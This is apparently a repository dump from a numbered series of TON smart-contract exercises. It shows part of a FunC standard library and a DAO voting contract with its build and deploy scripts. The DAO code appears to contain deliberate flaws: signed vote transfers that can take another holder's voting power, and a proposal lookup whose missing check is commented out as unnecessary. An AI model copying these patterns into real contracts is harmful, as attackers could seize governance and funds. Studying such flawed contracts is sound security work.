"SKIPDICT"; 340 | 341 | ;;; Loads (Maybe ^Cell) from `slice` [s]. 342 | ;;; In other words loads 1 bit and if it is true 343 | ;;; loads first ref and return it with slice remainder 344 | ;;; otherwise returns `null` and slice remainder 345 | (slice, cell) load_maybe_ref(slice s) asm( -> 1 0) "LDOPTREF"; 346 | 347 | ;;; Preloads (Maybe ^Cell) from `slice` [s]. 348 | cell preload_maybe_ref(slice s) asm "PLDOPTREF"; 349 | 350 | 351 | ;;; Returns the depth of `cell` [c]. 352 | ;;; If [c] has no references, then return `0`; 353 | ;;; otherwise the returned value is one plus the maximum of depths of cells referred to from [c]. 354 | ;;; If [c] is a `null` instead of a cell, returns zero. 355 | int cell_depth(cell c) asm "CDEPTH"; 356 | 357 | 358 | {- 359 | # Slice size primitives 360 | -} 361 | 362 | ;;; Returns the number of references in `slice` [s]. 363 | int slice_refs(slice s) asm "SREFS"; 364 | 365 | ;;; Returns the number of data bits in `slice` [s]. 366 | int slice_bits(slice s) asm "SBITS"; 367 | 368 | ;;; Returns both the number of data bits and the number of references in `slice` [s]. 369 | (int, int) slice_bits_refs(slice s) asm "SBITREFS"; 370 | 371 | ;;; Checks whether a `slice` [s] is empty (i.e., contains no bits of data and no cell references). 372 | int slice_empty?(slice s) asm "SEMPTY"; 373 | 374 | ;;; Checks whether `slice` [s] has no bits of data. 375 | int slice_data_empty?(slice s) asm "SDEMPTY"; 376 | 377 | ;;; Checks whether `slice` [s] has no references. 378 | int slice_refs_empty?(slice s) asm "SREMPTY"; 379 | 380 | ;;; Returns the depth of `slice` [s]. 381 | ;;; If [s] has no references, then returns `0`; 382 | ;;; otherwise the returned value is one plus the maximum of depths of cells referred to from [s]. 383 | int slice_depth(slice s) asm "SDEPTH"; 384 | 385 | {- 386 | # Builder size primitives 387 | -} 388 | 389 | ;;; Returns the number of cell references already stored in `builder` [b] 390 | int builder_refs(builder b) asm "BREFS"; 391 | 392 | ;;; Returns the number of data bits already stored in `builder` [b]. 393 | int builder_bits(builder b) asm "BBITS"; 394 | 395 | ;;; Returns the depth of `builder` [b]. 396 | ;;; If no cell references are stored in [b], then returns 0; 397 | ;;; otherwise the returned value is one plus the maximum of depths of cells referred to from [b]. 398 | int builder_depth(builder b) asm "BDEPTH"; 399 | 400 | {- 401 | # Builder primitives 402 | It is said that a primitive _stores_ a value `x` into a builder `b` 403 | if it returns a modified version of the builder `b'` with the value `x` stored at the end of it. 404 | It can be used as [non-modifying method](https://ton.org/docs/#/func/statements?id=non-modifying-methods). 405 | 406 | All the primitives below first check whether there is enough space in the `builder`, 407 | and only then check the range of the value being serialized. 408 | -} 409 | 410 | ;;; Creates a new empty `builder`. 411 | builder begin_cell() asm "NEWC"; 412 | 413 | ;;; Converts a `builder` into an ordinary `cell`. 414 | cell end_cell(builder b) asm "ENDC"; 415 | 416 | ;;; Stores a reference to `cell` [c] into `builder` [b]. 417 | builder store_ref(builder b, cell c) asm(c b) "STREF"; 418 | 419 | ;;; Stores an unsigned [len]-bit integer `x` into `b` for `0 ≤ len ≤ 256`. 420 | ;; builder store_uint(builder b, int x, int len) asm(x b len) "STUX"; 421 | 422 | ;;; Stores a signed [len]-bit integer `x` into `b` for` 0 ≤ len ≤ 257`. 423 | ;; builder store_int(builder b, int x, int len) asm(x b len) "STIX"; 424 | 425 | 426 | ;;; Stores `slice` [s] into `builder` [b] 427 | builder store_slice(builder b, slice s) asm "STSLICER"; 428 | 429 | ;;; Stores (serializes) an integer [x] in the range `0..2^128 − 1` into `builder` [b]. 430 | ;;; The serialization of [x] consists of a 4-bit unsigned big-endian integer `l`, 431 | ;;; which is the smallest integer `l ≥ 0`, such that `x < 2^8l`, 432 | ;;; followed by an `8l`-bit unsigned big-endian representation of [x]. 433 | ;;; If [x] does not belong to the supported range, a range check exception is thrown. 434 | ;;; 435 | ;;; Store amounts of TonCoins to the builder as VarUInteger 16 436 | builder store_grams(builder b, int x) asm "STGRAMS"; 437 | builder store_coins(builder b, int x) asm "STGRAMS"; 438 | 439 | ;;; Stores dictionary `D` represented by `cell` [c] or `null` into `builder` [b]. 440 | ;;; In other words, stores a `1`-bit and a reference to [c] if [c] is not `null` and `0`-bit otherwise. 441 | builder store_dict(builder b, cell c) asm(c b) "STDICT"; 442 | 443 | ;;; Stores (Maybe ^Cell) to builder: 444 | ;;; if cell is null store 1 zero bit 445 | ;;; otherwise store 1 true bit and ref to cell 446 | builder store_maybe_ref(builder b, cell c) asm(c b) "STOPTREF"; 447 | 448 | 449 | {- 450 | # Address manipulation primitives 451 | The address manipulation primitives listed below serialize and deserialize values according to the following TL-B scheme: 452 | ```TL-B 453 | addr_none$00 = MsgAddressExt; 454 | addr_extern$01 len:(## 8) external_address:(bits len) 455 | = MsgAddressExt; 456 | anycast_info$_ depth:(#<= 30) { depth >= 1 } 457 | rewrite_pfx:(bits depth) = Anycast; 458 | addr_std$10 anycast:(Maybe Anycast) 459 | workchain_id:int8 address:bits256 = MsgAddressInt; 460 | addr_var$11 anycast:(Maybe Anycast) addr_len:(## 9) 461 | workchain_id:int32 address:(bits addr_len) = MsgAddressInt; 462 | _ _:MsgAddressInt = MsgAddress; 463 | _ _:MsgAddressExt = MsgAddress; 464 | 465 | int_msg_info$0 ihr_disabled:Bool bounce:Bool bounced:Bool 466 | src:MsgAddress dest:MsgAddressInt 467 | value:CurrencyCollection ihr_fee:Grams fwd_fee:Grams 468 | created_lt:uint64 created_at:uint32 = CommonMsgInfoRelaxed; 469 | ext_out_msg_info$11 src:MsgAddress dest:MsgAddressExt 470 | created_lt:uint64 created_at:uint32 = CommonMsgInfoRelaxed; 471 | ``` 472 | A deserialized `MsgAddress` is represented by a tuple `t` as follows: 473 | 474 | - `addr_none` is represented by `t = (0)`, 475 | i.e., a tuple containing exactly one integer equal to zero. 476 | - `addr_extern` is represented by `t = (1, s)`, 477 | where slice `s` contains the field `external_address`. In other words, ` 478 | t` is a pair (a tuple consisting of two entries), containing an integer equal to one and slice `s`. 479 | - `addr_std` is represented by `t = (2, u, x, s)`, 480 | where `u` is either a `null` (if `anycast` is absent) or a slice `s'` containing `rewrite_pfx` (if anycast is present). 481 | Next, integer `x` is the `workchain_id`, and slice `s` contains the address. 482 | - `addr_var` is represented by `t = (3, u, x, s)`, 483 | where `u`, `x`, and `s` have the same meaning as for `addr_std`. 484 | -} 485 | 486 | ;;; Loads from slice [s] the only prefix that is a valid `MsgAddress`, 487 | ;;; and returns both this prefix `s'` and the remainder `s''` of [s] as slices. 488 | (slice, slice) load_msg_addr(slice s) asm( -> 1 0) "LDMSGADDR"; 489 | 490 | ;;; Decomposes slice [s] containing a valid `MsgAddress` into a `tuple t` with separate fields of this `MsgAddress`. 491 | ;;; If [s] is not a valid `MsgAddress`, a cell deserialization exception is thrown. 492 | tuple parse_addr(slice s) asm "PARSEMSGADDR"; 493 | 494 | ;;; Parses slice [s] containing a valid `MsgAddressInt` (usually a `msg_addr_std`), 495 | ;;; applies rewriting from the anycast (if present) to the same-length prefix of the address, 496 | ;;; and returns both the workchain and the 256-bit address as integers. 497 | ;;; If the address is not 256-bit, or if [s] is not a valid serialization of `MsgAddressInt`, 498 | ;;; throws a cell deserialization exception. 499 | (int, int) parse_std_addr(slice s) asm "REWRITESTDADDR"; 500 | 501 | ;;; A variant of [parse_std_addr] that returns the (rewritten) address as a slice [s], 502 | ;;; even if it is not exactly 256 bit long (represented by a `msg_addr_var`). 503 | (int, slice) parse_var_addr(slice s) asm "REWRITEVARADDR"; 504 | 505 | {- 506 | # Dictionary primitives 507 | -} 508 | 509 | 510 | ;;; Sets the value associated with [key_len]-bit key signed index in dictionary [dict] to [value] (cell), 511 | ;;; and returns the resulting dictionary. 512 | cell idict_set_ref(cell dict, int key_len, int index, cell value) asm(value index dict key_len) "DICTISETREF"; 513 | (cell, ()) ~idict_set_ref(cell dict, int key_len, int index, cell value) asm(value index dict key_len) "DICTISETREF"; 514 | 515 | ;;; Sets the value associated with [key_len]-bit key unsigned index in dictionary [dict] to [value] (cell), 516 | ;;; and returns the resulting dictionary. 517 | cell udict_set_ref(cell dict, int key_len, int index, cell value) asm(value index dict key_len) "DICTUSETREF"; 518 | (cell, ()) ~udict_set_ref(cell dict, int key_len, int index, cell value) asm(value index dict key_len) "DICTUSETREF"; 519 | 520 | cell idict_get_ref(cell dict, int key_len, int index) asm(index dict key_len) "DICTIGETOPTREF"; 521 | (cell, int) idict_get_ref?(cell dict, int key_len, int index) asm(index dict key_len) "DICTIGETREF" "NULLSWAPIFNOT"; 522 | (cell, int) udict_get_ref?(cell dict, int key_len, int index) asm(index dict key_len) "DICTUGETREF" "NULLSWAPIFNOT"; 523 | (cell, cell) idict_set_get_ref(cell dict, int key_len, int index, cell value) asm(value index dict key_len) "DICTISETGETOPTREF"; 524 | (cell, cell) udict_set_get_ref(cell dict, int key_len, int index, cell value) asm(value index dict key_len) "DICTUSETGETOPTREF"; 525 | (cell, int) idict_delete?(cell dict, int key_len, int index) asm(index dict key_len) "DICTIDEL"; 526 | (cell, int) udict_delete?(cell dict, int key_len, int index) asm(index dict key_len) "DICTUDEL"; 527 | (slice, int) idict_get?(cell dict, int key_len, int index) asm(index dict key_len) "DICTIGET" "NULLSWAPIFNOT"; 528 | (slice, int) udict_get?(cell dict, int key_len, int index) asm(index dict key_len) "DICTUGET" "NULLSWAPIFNOT"; 529 | (cell, slice, int) idict_delete_get?(cell dict, int key_len, int index) asm(index dict key_len) "DICTIDELGET" "NULLSWAPIFNOT"; 530 | (cell, slice, int) udict_delete_get?(cell dict, int key_len, int index) asm(index dict key_len) "DICTUDELGET" "NULLSWAPIFNOT"; 531 | (cell, (slice, int)) ~idict_delete_get?(cell dict, int key_len, int index) asm(index dict key_len) "DICTIDELGET" "NULLSWAPIFNOT"; 532 | (cell, (slice, int)) ~udict_delete_get?(cell dict, int key_len, int index) asm(index dict key_len) "DICTUDELGET" "NULLSWAPIFNOT"; 533 | cell udict_set(cell dict, int key_len, int index, slice value) asm(value index dict key_len) "DICTUSET"; 534 | (cell, ()) ~udict_set(cell dict, int key_len, int index, slice value) asm(value index dict key_len) "DICTUSET"; 535 | cell idict_set(cell dict, int key_len, int index, slice value) asm(value index dict key_len) "DICTISET"; 536 | (cell, ()) ~idict_set(cell dict, int key_len, int index, slice value) asm(value index dict key_len) "DICTISET"; 537 | cell dict_set(cell dict, int key_len, slice index, slice value) asm(value index dict key_len) "DICTSET"; 538 | (cell, ()) ~dict_set(cell dict, int key_len, slice index, slice value) asm(value index dict key_len) "DICTSET"; 539 | (cell, int) udict_add?(cell dict, int key_len, int index, slice value) asm(value index dict key_len) "DICTUADD"; 540 | (cell, int) udict_replace?(cell dict, int key_len, int index, slice value) asm(value index dict key_len) "DICTUREPLACE"; 541 | (cell, int) idict_add?(cell dict, int key_len, int index, slice value) asm(value index dict key_len) "DICTIADD"; 542 | (cell, int) idict_replace?(cell dict, int key_len, int index, slice value) asm(value index dict key_len) "DICTIREPLACE"; 543 | cell udict_set_builder(cell dict, int key_len, int index, builder value) asm(value index dict key_len) "DICTUSETB"; 544 | (cell, ()) ~udict_set_builder(cell dict, int key_len, int index, builder value) asm(value index dict key_len) "DICTUSETB"; 545 | cell idict_set_builder(cell dict, int key_len, int index, builder value) asm(value index dict key_len) "DICTISETB"; 546 | (cell, ()) ~idict_set_builder(cell dict, int key_len, int index, builder value) asm(value index dict key_len) "DICTISETB"; 547 | cell dict_set_builder(cell dict, int key_len, slice index, builder value) asm(value index dict key_len) "DICTSETB"; 548 | (cell, ()) ~dict_set_builder(cell dict, int key_len, slice index, builder value) asm(value index dict key_len) "DICTSETB"; 549 | (cell, int) udict_add_builder?(cell dict, int key_len, int index, builder value) asm(value index dict key_len) "DICTUADDB"; 550 | (cell, int) udict_replace_builder?(cell dict, int key_len, int index, builder value) asm(value index dict key_len) "DICTUREPLACEB"; 551 | (cell, int) idict_add_builder?(cell dict, int key_len, int index, builder value) asm(value index dict key_len) "DICTIADDB"; 552 | (cell, int) idict_replace_builder?(cell dict, int key_len, int index, builder value) asm(value index dict key_len) "DICTIREPLACEB"; 553 | (cell, int, slice, int) udict_delete_get_min(cell dict, int key_len) asm(-> 0 2 1 3) "DICTUREMMIN" "NULLSWAPIFNOT2"; 554 | (cell, (int, slice, int)) ~udict::delete_get_min(cell dict, int key_len) asm(-> 0 2 1 3) "DICTUREMMIN" "NULLSWAPIFNOT2"; 555 | (cell, int, slice, int) idict_delete_get_min(cell dict, int key_len) asm(-> 0 2 1 3) "DICTIREMMIN" "NULLSWAPIFNOT2"; 556 | (cell, (int, slice, int)) ~idict::delete_get_min(cell dict, int key_len) asm(-> 0 2 1 3) "DICTIREMMIN" "NULLSWAPIFNOT2"; 557 | (cell, slice, slice, int) dict_delete_get_min(cell dict, int key_len) asm(-> 0 2 1 3) "DICTREMMIN" "NULLSWAPIFNOT2"; 558 | (cell, (slice, slice, int)) ~dict::delete_get_min(cell dict, int key_len) asm(-> 0 2 1 3) "DICTREMMIN" "NULLSWAPIFNOT2"; 559 | (cell, int, slice, int) udict_delete_get_max(cell dict, int key_len) asm(-> 0 2 1 3) "DICTUREMMAX" "NULLSWAPIFNOT2"; 560 | (cell, (int, slice, int)) ~udict::delete_get_max(cell dict, int key_len) asm(-> 0 2 1 3) "DICTUREMMAX" "NULLSWAPIFNOT2"; 561 | (cell, int, slice, int) idict_delete_get_max(cell dict, int key_len) asm(-> 0 2 1 3) "DICTIREMMAX" "NULLSWAPIFNOT2"; 562 | (cell, (int, slice, int)) ~idict::delete_get_max(cell dict, int key_len) asm(-> 0 2 1 3) "DICTIREMMAX" "NULLSWAPIFNOT2"; 563 | (cell, slice, slice, int) dict_delete_get_max(cell dict, int key_len) asm(-> 0 2 1 3) "DICTREMMAX" "NULLSWAPIFNOT2"; 564 | (cell, (slice, slice, int)) ~dict::delete_get_max(cell dict, int key_len) asm(-> 0 2 1 3) "DICTREMMAX" "NULLSWAPIFNOT2"; 565 | (int, slice, int) udict_get_min?(cell dict, int key_len) asm (-> 1 0 2) "DICTUMIN" "NULLSWAPIFNOT2"; 566 | (int, slice, int) udict_get_max?(cell dict, int key_len) asm (-> 1 0 2) "DICTUMAX" "NULLSWAPIFNOT2"; 567 | (int, cell, int) udict_get_min_ref?(cell dict, int key_len) asm (-> 1 0 2) "DICTUMINREF" "NULLSWAPIFNOT2"; 568 | (int, cell, int) udict_get_max_ref?(cell dict, int key_len) asm (-> 1 0 2) "DICTUMAXREF" "NULLSWAPIFNOT2"; 569 | (int, slice, int) idict_get_min?(cell dict, int key_len) asm (-> 1 0 2) "DICTIMIN" "NULLSWAPIFNOT2"; 570 | (int, slice, int) idict_get_max?(cell dict, int key_len) asm (-> 1 0 2) "DICTIMAX" "NULLSWAPIFNOT2"; 571 | (int, cell, int) idict_get_min_ref?(cell dict, int key_len) asm (-> 1 0 2) "DICTIMINREF" "NULLSWAPIFNOT2"; 572 | (int, cell, int) idict_get_max_ref?(cell dict, int key_len) asm (-> 1 0 2) "DICTIMAXREF" "NULLSWAPIFNOT2"; 573 | (int, slice, int) udict_get_next?(cell dict, int key_len, int pivot) asm(pivot dict key_len -> 1 0 2) "DICTUGETNEXT" "NULLSWAPIFNOT2"; 574 | (int, slice, int) udict_get_nexteq?(cell dict, int key_len, int pivot) asm(pivot dict key_len -> 1 0 2) "DICTUGETNEXTEQ" "NULLSWAPIFNOT2"; 575 | (int, slice, int) udict_get_prev?(cell dict, int key_len, int pivot) asm(pivot dict key_len -> 1 0 2) "DICTUGETPREV" "NULLSWAPIFNOT2"; 576 | (int, slice, int) udict_get_preveq?(cell dict, int key_len, int pivot) asm(pivot dict key_len -> 1 0 2) "DICTUGETPREVEQ" "NULLSWAPIFNOT2"; 577 | (int, slice, int) idict_get_next?(cell dict, int key_len, int pivot) asm(pivot dict key_len -> 1 0 2) "DICTIGETNEXT" "NULLSWAPIFNOT2"; 578 | (int, slice, int) idict_get_nexteq?(cell dict, int key_len, int pivot) asm(pivot dict key_len -> 1 0 2) "DICTIGETNEXTEQ" "NULLSWAPIFNOT2"; 579 | (int, slice, int) idict_get_prev?(cell dict, int key_len, int pivot) asm(pivot dict key_len -> 1 0 2) "DICTIGETPREV" "NULLSWAPIFNOT2"; 580 | (int, slice, int) idict_get_preveq?(cell dict, int key_len, int pivot) asm(pivot dict key_len -> 1 0 2) "DICTIGETPREVEQ" "NULLSWAPIFNOT2"; 581 | 582 | ;;; Creates an empty dictionary, which is actually a null value. Equivalent to PUSHNULL 583 | cell new_dict() asm "NEWDICT"; 584 | ;;; Checks whether a dictionary is empty. Equivalent to cell_null?. 585 | int dict_empty?(cell c) asm "DICTEMPTY"; 586 | 587 | 588 | {- Prefix dictionary primitives -} 589 | (slice, slice, slice, int) pfxdict_get?(cell dict, int key_len, slice key) asm(key dict key_len) "PFXDICTGETQ" "NULLSWAPIFNOT2"; 590 | (cell, int) pfxdict_set?(cell dict, int key_len, slice key, slice value) asm(value key dict key_len) "PFXDICTSET"; 591 | (cell, int) pfxdict_delete?(cell dict, int key_len, slice key) asm(key dict key_len) "PFXDICTDEL"; 592 | 593 | ;;; Returns the value of the global configuration parameter with integer index `i` as a `cell` or `null` value. 594 | cell config_param(int x) asm "CONFIGOPTPARAM"; 595 | ;;; Checks whether c is a null. Note, that FunC also has polymorphic null? built-in. 596 | int cell_null?(cell c) asm "ISNULL"; 597 | 598 | ;;; Creates an output action which would reserve exactly amount nanotoncoins (if mode = 0), at most amount nanotoncoins (if mode = 2), or all but amount nanotoncoins (if mode = 1 or mode = 3), from the remaining balance of the account. It is roughly equivalent to creating an outbound message carrying amount nanotoncoins (or b − amount nanotoncoins, where b is the remaining balance) to oneself, so that the subsequent output actions would not be able to spend more money than the remainder. Bit +2 in mode means that the external action does not fail if the specified amount cannot be reserved; instead, all remaining balance is reserved. Bit +8 in mode means `amount <- -amount` before performing any further actions. Bit +4 in mode means that amount is increased by the original balance of the current account (before the compute phase), including all extra currencies, before performing any other checks and actions. Currently, amount must be a non-negative integer, and mode must be in the range 0..15. 599 | () raw_reserve(int amount, int mode) impure asm "RAWRESERVE"; 600 | ;;; Similar to raw_reserve, but also accepts a dictionary extra_amount (represented by a cell or null) with extra currencies. In this way currencies other than TonCoin can be reserved. 601 | () raw_reserve_extra(int amount, cell extra_amount, int mode) impure asm "RAWRESERVEX"; 602 | ;;; Sends a raw message contained in msg, which should contain a correctly serialized object Message X, with the only exception that the source address is allowed to have dummy value addr_none (to be automatically replaced with the current smart contract address), and ihr_fee, fwd_fee, created_lt and created_at fields can have arbitrary values (to be rewritten with correct values during the action phase of the current transaction). Integer parameter mode contains the flags. Currently mode = 0 is used for ordinary messages; mode = 128 is used for messages that are to carry all the remaining balance of the current smart contract (instead of the value originally indicated in the message); mode = 64 is used for messages that carry all the remaining value of the inbound message in addition to the value initially indicated in the new message (if bit 0 is not set, the gas fees are deducted from this amount); mode' = mode + 1 means that the sender wants to pay transfer fees separately; mode' = mode + 2 means that any errors arising while processing this message during the action phase should be ignored. Finally, mode' = mode + 32 means that the current account must be destroyed if its resulting balance is zero. This flag is usually employed together with +128. 603 | () send_raw_message(cell msg, int mode) impure asm "SENDRAWMSG"; 604 | ;;; Creates an output action that would change this smart contract code to that given by cell new_code. Notice that this change will take effect only after the successful termination of the current run of the smart contract 605 | () set_code(cell new_code) impure asm "SETCODE"; 606 | 607 | ;;; Generates a new pseudo-random unsigned 256-bit integer x. The algorithm is as follows: if r is the old value of the random seed, considered as a 32-byte array (by constructing the big-endian representation of an unsigned 256-bit integer), then its sha512(r) is computed; the first 32 bytes of this hash are stored as the new value r' of the random seed, and the remaining 32 bytes are returned as the next random value x. 608 | int random() impure asm "RANDU256"; 609 | ;;; Generates a new pseudo-random integer z in the range 0..range−1 (or range..−1, if range < 0). More precisely, an unsigned random value x is generated as in random; then z := x * range / 2^256 is computed. 610 | int rand(int range) impure asm "RAND"; 611 | ;;; Returns the current random seed as an unsigned 256-bit Integer. 612 | int get_seed() impure asm "RANDSEED"; 613 | ;;; Sets the random seed to unsigned 256-bit seed. 614 | int set_seed() impure asm "SETRAND"; 615 | ;;; Mixes unsigned 256-bit integer x into the random seed r by setting the random seed to sha256 of the concatenation of two 32-byte strings: the first with the big-endian representation of the old seed r, and the second with the big-endian representation of x. 616 | () randomize(int x) impure asm "ADDRAND"; 617 | ;;; Equivalent to randomize(cur_lt());. 618 | () randomize_lt() impure asm "LTIME" "ADDRAND"; 619 | 620 | ;;; Checks whether the data parts of two slices coinside 621 | int equal_slice_bits (slice a, slice b) asm "SDEQ"; 622 | 623 | ;;; Concatenates two builders 624 | builder store_builder(builder to, builder from) asm "STBR"; 625 | -------------------------------------------------------------------------------- /3. dao/README.md: -------------------------------------------------------------------------------- 1 | # DAO contract 2 | It is great to have the ability to make any decision in a decentralized manner. Since everything in TON is controlled by messages it is enough for DAO-contract to be able to decide on sending or not specific messages: you can control TON, NFTs, Jettons, nominator stakes, ... everything. 3 | 4 | Any person may suggest a proposal for DAO voting. Any holder of voting rights may vote for this proposal. Once the proposal gets 2/3 of the total weight, it gets executed. Also, holders may transfer their voting powers partially or entirely to other persons. 5 | 6 | Note, that for each request, voting weights are snapshotted at the moment of proposal creation. That way, it is impossible to vote from one account to transfer voting power to the other and vote again 7 | 8 | # Address 9 | [EQAio2xuMYJqJZlXG4e1TeKpeWn976tcZTXybVKVIuphuoVy](https://tonwhales.com/explorer/address/EQAio2xuMYJqJZlXG4e1TeKpeWn976tcZTXybVKVIuphuoVy) 10 | -------------------------------------------------------------------------------- /3. dao/build.sh: -------------------------------------------------------------------------------- 1 | func -o dao-code.fif -SPA dao.func 2 | -------------------------------------------------------------------------------- /3. dao/dao.func: -------------------------------------------------------------------------------- 1 | #include "stdlib.func"; 2 | 3 | global cell global_votes; 4 | global cell proposals; 5 | global int total_votes; 6 | 7 | const slice dummy_address = "EQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAM9c"a; 8 | 9 | () load_data () impure { 10 | slice storage = get_data().begin_parse(); 11 | global_votes = storage~load_dict(); 12 | proposals = storage~load_dict(); 13 | total_votes = storage~load_uint(256); 14 | } 15 | 16 | () save_data () impure { 17 | set_data(begin_cell() 18 | .store_dict(global_votes) 19 | .store_dict(proposals) 20 | .store_uint(total_votes, 256) 21 | .end_cell() 22 | ); 23 | } 24 | 25 | int get_voting_power (cell votes, slice address) impure { 26 | (_, slice value, _, int found?) = votes.pfxdict_get?(address.slice_bits(), address); 27 | ifnot found? { 28 | return 0; 29 | } 30 | return value~load_uint(256); 31 | } 32 | 33 | (cell,()) set_voting_power (cell votes, slice address, int amount) impure { 34 | ;; will throw if amount is negative 35 | (cell votes', int success?) = votes.pfxdict_set?(address.slice_bits(), address, 36 | begin_cell().store_uint(amount, 256).end_cell().begin_parse()); 37 | throw_unless(999, success?); 38 | return (votes', ()); 39 | } 40 | 41 | (cell,()) transfer_voting_power (cell votes, slice from, slice to, int amount) impure { 42 | int from_votes = get_voting_power(votes, from); 43 | int to_votes = get_voting_power(votes, to); 44 | 45 | from_votes -= amount; 46 | to_votes += amount; 47 | 48 | ;; No need to check that result from_votes is positive: set_voting_power will throw for negative votes 49 | ;; throw_unless(998, from_votes > 0); 50 | 51 | votes~set_voting_power(from, from_votes); 52 | votes~set_voting_power(to, to_votes); 53 | return (votes,()); 54 | } 55 | 56 | () execute_proposal (cell proposal) impure { 57 | var data = proposal.begin_parse(); 58 | send_raw_message(data~load_ref(), data~load_uint(8)); 59 | } 60 | 61 | () main (cell in_msg_full, slice in_msg_body) { 62 | slice cs = in_msg_full.begin_parse(); 63 | int flags = cs~load_uint(4); 64 | 65 | if (flags & 1) { ;; ignore all bounced messages 66 | return (); 67 | } 68 | slice sender_address = cs~load_msg_addr(); 69 | 70 | load_data(); 71 | 72 | int op = in_msg_body~load_uint(32); 73 | int query_id = in_msg_body~load_uint(64); 74 | 75 | if(op == 0x187abeff) { ;; add order 76 | cell proposal = in_msg_body~load_ref(); 77 | int id = cell_hash(proposal); 78 | (_, int found?) = proposals.udict_get?(256, id); 79 | throw_if(105, found?); ;; already registered 80 | cell votes = global_votes; 81 | int voting_power = get_voting_power(votes, sender_address); 82 | int confirm_votes = voting_power; 83 | if (confirm_votes >= muldiv(total_votes, 2, 3) ) { 84 | execute_proposal(proposal); 85 | } else { 86 | votes~transfer_voting_power(sender_address, dummy_address, voting_power); 87 | cell proposals' = proposals.udict_set_builder(256, id, 88 | begin_cell().store_ref(proposal).store_ref(votes).store_uint(confirm_votes, 256)); 89 | proposals = proposals'; 90 | } 91 | } 92 | if(op == 0x77345522) { ;; vote for order 93 | cell proposal = in_msg_body~load_ref(); 94 | int id = cell_hash(proposal); 95 | (slice voting, int found?) = proposals.udict_get?(256, id); 96 | ;; throw_unless(105, found?); unneccessary 97 | (cell proposal, cell votes, int confirm_votes) = (voting~load_ref(), voting~load_ref(), voting~load_uint(256)); 98 | int voting_power = get_voting_power(votes, sender_address); 99 | confirm_votes += voting_power; 100 | if (confirm_votes >= muldiv(total_votes, 2, 3) ) { 101 | execute_proposal(proposal); 102 | } else { 103 | votes~transfer_voting_power(sender_address, dummy_address, voting_power); 104 | cell proposals' = proposals.udict_set_builder(256, id, 105 | begin_cell().store_ref(proposal).store_ref(votes).store_uint(confirm_votes, 256)); 106 | proposals = proposals'; 107 | } 108 | } 109 | if(op == 0x63a893dd) { ;; move votes 110 | int voting_power = get_voting_power(global_votes, sender_address); 111 | (cell gv', _) = transfer_voting_power(global_votes, sender_address, in_msg_body~load_msg_addr(), in_msg_body~load_int(256)); 112 | global_votes = gv'; 113 | } 114 | save_data(); 115 | } 116 | 117 | int get_votes(int wc, int address) method_id { 118 | load_data(); 119 | return get_voting_power(global_votes, begin_cell().store_uint(4, 3).store_int(wc, 8).store_uint(address, 256).end_cell().begin_parse()); 120 | } 121 | 122 | cell get_initial_storage() method_id(3333) { 123 | slice owner1 = "EQCD39VS5jcptHL8vMjEXrzGaRcCVYto7HUn4bpAOg8xqB2N"a; 124 | slice owner2 = "EQAhE3sLxHZpsyZ_HecMuwzvXHKLjYx4kEUehhOy2JmCcHCT"a; 125 | slice owner3 = "EQCtiv7PrMJImWiF2L5oJCgPnzp-VML2CAt5cbn1VsKAxLiE"a; 126 | slice owner4 = "EQAAFhjXzKuQ5N0c96nsdZQWATcJm909LYSaCAvWFxVJP80D"a; 127 | slice owner5 = "EQCjk1hh952vWaE9bRguFkAhDAL5jj3xj9p0uPWrFBq_GEMS"a; 128 | slice owner6 = "EQDrLq-X6jKZNHAScgghh0h1iog3StK71zn8dcmrOj8jPWRA"a; 129 | 130 | cell votes = null(); 131 | (cell votes, int success?) = votes.pfxdict_set?(owner1.slice_bits(), owner1, 132 | begin_cell().store_uint(10000, 256).end_cell().begin_parse()); 133 | (cell votes, int success?) = votes.pfxdict_set?(owner2.slice_bits(), owner2, 134 | begin_cell().store_uint(10000, 256).end_cell().begin_parse()); 135 | (cell votes, int success?) = votes.pfxdict_set?(owner3.slice_bits(), owner3, 136 | begin_cell().store_uint(10000, 256).end_cell().begin_parse()); 137 | (cell votes, int success?) = votes.pfxdict_set?(owner4.slice_bits(), owner4, 138 | begin_cell().store_uint(10000, 256).end_cell().begin_parse()); 139 | (cell votes, int success?) = votes.pfxdict_set?(owner5.slice_bits(), owner5, 140 | begin_cell().store_uint(10000, 256).end_cell().begin_parse()); 141 | (cell votes, int success?) = votes.pfxdict_set?(owner6.slice_bits(), owner6, 142 | begin_cell().store_uint(10000, 256).end_cell().begin_parse()); 143 | global_votes = votes; 144 | proposals = null(); 145 | total_votes = 60000; 146 | save_data(); 147 | return get_data(); 148 | } 149 | -------------------------------------------------------------------------------- /3. dao/init.fif: -------------------------------------------------------------------------------- 1 | #!/usr/bin/fift -s 2 | "TonUtil.fif" include 3 | "Asm.fif" include 4 | 5 | true =: bounce 6 | <{ 7 | SETCP0 ACCEPT 8 | "dao-code.fif" include PUSHREF SETCODE 9 | 0 PUSHINT 10 | }>s =: contract_code 11 | 12 | 3333 "dao-code.fif" include ref, contract_storage ref, b> 15 | dup =: state_init 16 | 17 | dup hashu 0 swap 2constant contract_address 18 | ."new dao address = " contract_address .addr cr 19 | 20 | ."Non-bounceable address (for init): " contract_address 7 .Addr cr 21 | ."Bounceable address (for later access): " contract_address 6 .Addr cr 22 | 23 | 25 | 2 boc+>B 26 | 27 | "query-init-dao.boc" tuck B>file 28 | ."(Saved dao contract creating query to file " type .")" cr 29 | -------------------------------------------------------------------------------- /3. dao/stdlib.func: -------------------------------------------------------------------------------- 1 | ;; Standard library for funC 2 | ;; 3 | 4 | {- 5 | # Tuple manipulation primitives 6 | The names and the types are mostly self-explaining. 7 | See [polymorhism with forall](https://ton.org/docs/#/func/functions?id=polymorphism-with-forall) 8 | for more info on the polymorphic functions. 9 | 10 | Note that currently values of atomic type `tuple` can't be cast to composite tuple type (e.g. `[int, cell]`) 11 | and vise versa. 12 | -} 13 | 14 | {- 15 | # Lisp-style lists 16 | 17 | Lists can be represented as nested 2-elements tuples. 18 | Empty list is conventionally represented as TVM `null` value (it can be obtained by calling [null()]). 19 | For example, tuple `(1, (2, (3, null)))` represents list `[1, 2, 3]`. Elements of a list can be of different types. 20 | -} 21 | 22 | ;;; Adds an element to the beginning of lisp-style list. 23 | forall X -> tuple cons(X head, tuple tail) asm "CONS"; 24 | 25 | ;;; Extracts the head and the tail of lisp-style list. 26 | forall X -> (X, tuple) uncons(tuple list) asm "UNCONS"; 27 | 28 | ;;; Extracts the tail and the head of lisp-style list. 29 | forall X -> (tuple, X) list_next(tuple list) asm( -> 1 0) "UNCONS"; 30 | 31 | ;;; Returns the head of lisp-style list. 32 | forall X -> X car(tuple list) asm "CAR"; 